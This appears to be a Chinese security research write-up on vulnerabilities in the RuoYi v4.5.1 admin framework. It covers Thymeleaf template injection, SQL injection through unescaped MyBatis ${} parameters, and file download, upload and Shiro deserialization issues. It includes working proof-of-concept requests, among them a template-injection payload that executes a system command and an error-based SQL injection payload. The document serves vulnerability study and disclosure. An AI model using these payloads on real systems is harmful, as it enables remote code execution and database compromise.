Ref#
RuoYi v4.5.1
RuoYi框架部分历史漏洞
RuoYi 框架漏洞总结
Shiro反序列化漏洞利用详解
Vulnerables#
SSTI#
Thymeleaf 模板注入#
在 ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java 中
可以看到有一个函数使用 /localrefresh::
@PostMapping("/localrefresh/task")
public String localRefreshTask(String fragment,String taskName,ModelMap mmap)
{
JSONArray list = new JSONArray();
JSONObject item = new JSONObject();
item.put("name", StringUtils.defaultIfBlank(taskName, "通过电话销售过程中了解各盛市的设备仪器使用、采购情况及相关重要追踪人"));
item.put("type", "新增");
item.put("date", "2018.06.10");
list.add(item);
item = new JSONObject();
item.put("name", "提高自己电话营销技巧,灵活专业地与客户进行电话交流");
item.put("type", "新增");
item.put("date", "2018.06.12");
list.add(item);
mmap.put("tasks",list);
return prefix + "/localrefresh::" + fragment;
}由此构造 POC
POST /demo/form/localrefresh/task HTTP/1.1
taskName=1&fragment=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.xSQL Injection#
在 RuoYi 的 Mybatis 配置中,可以看到潜在的直接注入点
对于 ${param} 均有潜在的注入可能
params[dataScope]注入#
ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml
<select id="selectUserList" parameterType="SysUser" resultMap="SysUserResult">
select u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.password, u.sex, u.salt, u.status, u.del_flag, u.login_ip, u.login_date, u.create_by, u.create_time, u.remark, d.dept_name, d.leader from sys_user u
left join sys_dept d on u.dept_id = d.dept_id
where u.del_flag = '0'
<if test="loginName != null and loginName != ''">
AND u.login_name like concat('%', #{loginName}, '%')
</if>
<if test="status != null and status != ''">
AND u.status = #{status}
</if>
<if test="phonenumber != null and phonenumber != ''">
AND u.phonenumber like concat('%', #{phonenumber}, '%')
</if>
<if test="params.beginTime != null and params.beginTime != ''"><!-- 开始时间检索 -->
AND date_format(u.create_time,'%y%m%d') >= date_format(#{params.beginTime},'%y%m%d')
</if>
<if test="params.endTime != null and params.endTime != ''"><!-- 结束时间检索 -->
AND date_format(u.create_time,'%y%m%d') <= date_format(#{params.endTime},'%y%m%d')
</if>
<if test="deptId != null and deptId != 0">
AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT t.dept_id FROM sys_dept t WHERE FIND_IN_SET (#{deptId},ancestors) ))
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>
<select id="selectAllocatedList" parameterType="SysUser" resultMap="SysUserResult">
select distinct u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time
from sys_user u
left join sys_dept d on u.dept_id = d.dept_id
left join sys_user_role ur on u.user_id = ur.user_id
left join sys_role r on r.role_id = ur.role_id
where u.del_flag = '0' and r.role_id = #{roleId}
<if test="loginName != null and loginName != ''">
AND u.login_name like concat('%', #{loginName}, '%')
</if>
<if test="phonenumber != null and phonenumber != ''">
AND u.phonenumber like concat('%', #{phonenumber}, '%')
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>
<select id="selectUnallocatedList" parameterType="SysUser" resultMap="SysUserResult">
select distinct u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time
from sys_user u
left join sys_dept d on u.dept_id = d.dept_id
left join sys_user_role ur on u.user_id = ur.user_id
left join sys_role r on r.role_id = ur.role_id
where u.del_flag = '0' and (r.role_id != #{roleId} or r.role_id IS NULL)
and u.user_id not in (select u.user_id from sys_user u inner join sys_user_role ur on u.user_id = ur.user_id and ur.role_id = #{roleId})
<if test="loginName != null and loginName != ''">
AND u.login_name like concat('%', #{loginName}, '%')
</if>
<if test="phonenumber != null and phonenumber != ''">
AND u.phonenumber like concat('%', #{phonenumber}, '%')
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml
<select id="selectRoleList" parameterType="SysRole" resultMap="SysRoleResult">
<include refid="selectRoleContactVo"/>
where r.del_flag = '0'
<if test="roleName != null and roleName != ''">
AND r.role_name like concat('%', #{roleName}, '%')
</if>
<if test="status != null and status != ''">
AND r.status = #{status}
</if>
<if test="roleKey != null and roleKey != ''">
AND r.role_key like concat('%', #{roleKey}, '%')
</if>
<if test="dataScope != null and dataScope != ''">
AND r.data_scope = #{dataScope}
</if>
<if test="params.beginTime != null and params.beginTime != ''"><!-- 开始时间检索 -->
and date_format(r.create_time,'%y%m%d') >= date_format(#{params.beginTime},'%y%m%d')
</if>
<if test="params.endTime != null and params.endTime != ''"><!-- 结束时间检索 -->
and date_format(r.create_time,'%y%m%d') <= date_format(#{params.endTime},'%y%m%d')
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
</select>ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml
<select id="selectDeptList" parameterType="SysDept" resultMap="SysDeptResult">
<include refid="selectDeptVo"/>
where d.del_flag = '0'
<if test="parentId != null and parentId != 0">
AND parent_id = #{parentId}
</if>
<if test="deptName != null and deptName != ''">
AND dept_name like concat('%', #{deptName}, '%')
</if>
<if test="status != null and status != ''">
AND status = #{status}
</if>
<!-- 数据范围过滤 -->
${params.dataScope}
order by d.parent_id, d.order_num
</select>反向寻找 DAO 层的 Mapper 位置, 可以看到相应的 Java 接口, 然后使用 IDE 的代码分析反向寻找调用点, 回溯到 Controller 层获取具体的接口, 找到接口后检查是否有输入可以注入, 同时检查是否有验证逻辑
下面未标记 NOT_VULN 的接口皆为已验证存在注入的接口
com.ruoyi.system.mapper.SysUserMapper#selectUserListcom.ruoyi.system.service.impl.SysUserServiceImpl#selectUserListcom.ruoyi.web.controller.system.SysUserController#listcom.ruoyi.web.controller.system.SysUserController#export
com.ruoyi.system.mapper.SysUserMapper#selectAllocatedListcom.ruoyi.system.service.impl.SysUserServiceImpl#selectAllocatedListcom.ruoyi.web.controller.system.SysRoleController#allocatedList
com.ruoyi.system.mapper.SysUserMapper#selectUnallocatedListcom.ruoyi.system.service.impl.SysUserServiceImpl#selectUnallocatedListcom.ruoyi.web.controller.system.SysRoleController#unallocatedList
com.ruoyi.system.mapper.SysRoleMapper#selectRoleListcom.ruoyi.system.service.impl.SysRoleServiceImpl#selectRoleListcom.ruoyi.web.controller.system.SysRoleController#listcom.ruoyi.web.controller.system.SysRoleController#export
com.ruoyi.system.mapper.SysDeptMapper#selectDeptListcom.ruoyi.system.service.impl.SysDeptServiceImpl#selectDeptListcom.ruoyi.web.controller.system.SysDeptController#listcom.ruoyi.system.service.impl.SysDeptServiceImpl#roleDeptTreeDatacom.ruoyi.web.controller.system.SysDeptController#deptTreeDataNOT_VULN
com.ruoyi.system.service.impl.SysDeptServiceImpl#selectDeptTreecom.ruoyi.web.controller.system.SysDeptController#treeDataNOT_VULN
com.ruoyi.system.service.impl.SysDeptServiceImpl#selectDeptTreeExcludeChildcom.ruoyi.web.controller.system.SysDeptController#treeDataExcludeChildNOT_VULN
对于每一个 handler 函数, 都可以看到其注解上的权限约束和绑定信息以及输入参数, 部分无参数接口无法注入
@RequiresPermissions("system:user:list")
@PostMapping("/list")
@ResponseBody
public TableDataInfo list(SysUser user)
{
startPage();
List<SysUser> list = userService.selectUserList(user);
return getDataTable(list);
}比如这个函数只需要有相应的权限, 然后访问该接口, 便会一路畅通地进入 Sink 点, 产生 SQL 注入
POST /system/user/list HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
params%5BdataScope%5D=SQL_INJECTION需要注意的是 RuoYi 使用 Pojo 对象自动解析的方式生成参数, 故各个接口的 payload 可能需要进行特定的构造, 也可能可以直接注入目标, 对于 /system/dept/list, 直接注入即可
{
"msg": "运行时异常:\n### Error querying database. Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL_INJECTION\n\t\torder by d.parent_id, d.order_num' at line 9\n### The error may exist in URL [jar:file:/home/godke/program/RuoYi-4.5.1/ruoyi-admin/target/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.5.1.jar!/mapper/system/SysDeptMapper.xml]\n### The error may involve com.ruoyi.system.mapper.SysDeptMapper.selectDeptList-Inline\n### The error occurred while setting parameters\n### SQL: select d.dept_id, d.parent_id, d.ancestors, d.dept_name, d.order_num, d.leader, d.phone, d.email, d.status, d.del_flag, d.create_by, d.create_time from sys_dept d where d.del_flag = '0' SQL_INJECTION order by d.parent_id, d.order_num\n### Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL_INJECTION\n\t\torder by d.parent_id, d.order_num' at line 9\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL_INJECTION\n\t\torder by d.parent_id, d.order_num' at line 9",
"code": 500
}ancestors 注入#
ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml
<update id="updateDeptStatus" parameterType="SysDept">
update sys_dept
<set>
<if test="status != null and status != ''">status = #{status},</if>
<if test="updateBy != null and updateBy != ''">update_by = #{updateBy},</if>
update_time = sysdate()
</set>
where dept_id in (${ancestors})
</update>继续反向追踪
com.ruoyi.system.mapper.SysDeptMapper#updateDeptStatuscom.ruoyi.system.service.impl.SysDeptServiceImpl#updateParentDeptStatuscom.ruoyi.system.service.impl.SysDeptServiceImpl#updateDeptcom.ruoyi.web.controller.system.SysDeptController#editSave
接口
@Log(title = "部门管理", businessType = BusinessType.UPDATE)
@RequiresPermissions("system:dept:edit")
@PostMapping("/edit")
@ResponseBody
public AjaxResult editSave(@Validated SysDept dept)
{
if (UserConstants.DEPT_NAME_NOT_UNIQUE.equals(deptService.checkDeptNameUnique(dept)))
{
return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在");
}
else if (dept.getParentId().equals(dept.getDeptId()))
{
return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己");
}
else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus())
&& deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0)
{
return AjaxResult.error("该部门包含未停用的子部门!");
}
dept.setUpdateBy(ShiroUtils.getLoginName());
return toAjax(deptService.updateDept(dept));
}这个接口有很多约束, 故需要构造更精细的注入参数
POST /system/dept/edit HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=SQL_INJECTION{
"msg": "运行时异常:\n### Error updating database. Cause: java.sql.SQLSyntaxErrorException: Unknown column 'SQL_INJECTION' in 'where clause'\n### The error may exist in URL [jar:file:/home/godke/program/RuoYi-4.5.1/ruoyi-admin/target/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.5.1.jar!/mapper/system/SysDeptMapper.xml]\n### The error may involve com.ruoyi.system.mapper.SysDeptMapper.updateDeptStatus-Inline\n### The error occurred while setting parameters\n### SQL: update sys_dept SET status = ?, update_by = ?, update_time = sysdate() where dept_id in (SQL_INJECTION)\n### Cause: java.sql.SQLSyntaxErrorException: Unknown column 'SQL_INJECTION' in 'where clause'\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Unknown column 'SQL_INJECTION' in 'where clause'",
"code": 500
}该漏洞的注入长度受限, 长度过长时会无法通过前期校验, 一个有效的 payload 为 0)or(extractvalue(1,concat(1,(select user()))));#
Arbitrary File Download#
后台文件下载#
RuoYi 的文件下载接口在老版本几乎无限制 (<V4.5.1), 从 V4.5.1 开始有输入检查和限制
ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java
@GetMapping("common/download")
public void fileDownload(
String fileName, Boolean delete,
HttpServletResponse response,
HttpServletRequest request
)
{
try
{
if (!FileUtils.checkAllowDownload(fileName))
{
throw new Exception(StringUtils.format("文件名称({})非法,不允许下载。 ", fileName));
}
String realFileName = System.currentTimeMillis() + fileName.substring(fileName.indexOf("_") + 1);
String filePath = RuoYiConfig.getDownloadPath() + fileName;
response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
FileUtils.setAttachmentResponseHeader(response, realFileName);
FileUtils.writeBytes(filePath, response.getOutputStream());
if (delete)
{
FileUtils.deleteFile(filePath);
}
}
catch (Exception e)
{
log.error("下载文件失败", e);
}
}
public static boolean checkAllowDownload(String resource)
{
// 禁止目录上跳级别
if (StringUtils.contains(resource, ".."))
{
return false;
}
// 检查允许下载的文件规则
if (ArrayUtils.contains(MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION, FileTypeUtils.getFileType(resource)))
{
return true;
}
// 不在允许下载的文件规则
return false;
}
public static String getDownloadPath()
{
return getProfile() + "/download/";
}在 V4.5.1 下载路径被严格限制, 因此漏洞几乎可以认为不再存在
另外在高版本该漏洞可利用定时任务修改全局配置进行一定的增强
Arbitrary File Upload#
该漏洞危险性不高, 需要配合其他漏洞使用
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java
@Log(title = "个人信息", businessType = BusinessType.UPDATE)
@PostMapping("/updateAvatar")
@ResponseBody
public AjaxResult updateAvatar(@RequestParam("avatarfile") MultipartFile file)
{
SysUser currentUser = ShiroUtils.getSysUser();
try
{
if (!file.isEmpty())
{
String avatar = FileUploadUtils.upload(RuoYiConfig.getAvatarPath(), file);
currentUser.setAvatar(avatar);
if (userService.updateUserInfo(currentUser) > 0)
{
ShiroUtils.setSysUser(userService.selectUserById(currentUser.getUserId()));
return success();
}
}
return error();
}
catch (Exception e)
{
log.error("修改头像失败!", e);
return error(e.getMessage());
}
}可以看出上传文件并没有过多检查, 只有宽泛的 MIME 类型检查, 但上传路径固定, 且只能上传, 利用价值较低
Shiro Deserialization#
Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值。在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
RuoYi 各版本都有默认密钥, 如果未修改则可进行利用, 利用方式见参考文章
// TODO: 列举可利用的接口并分析和创建 POC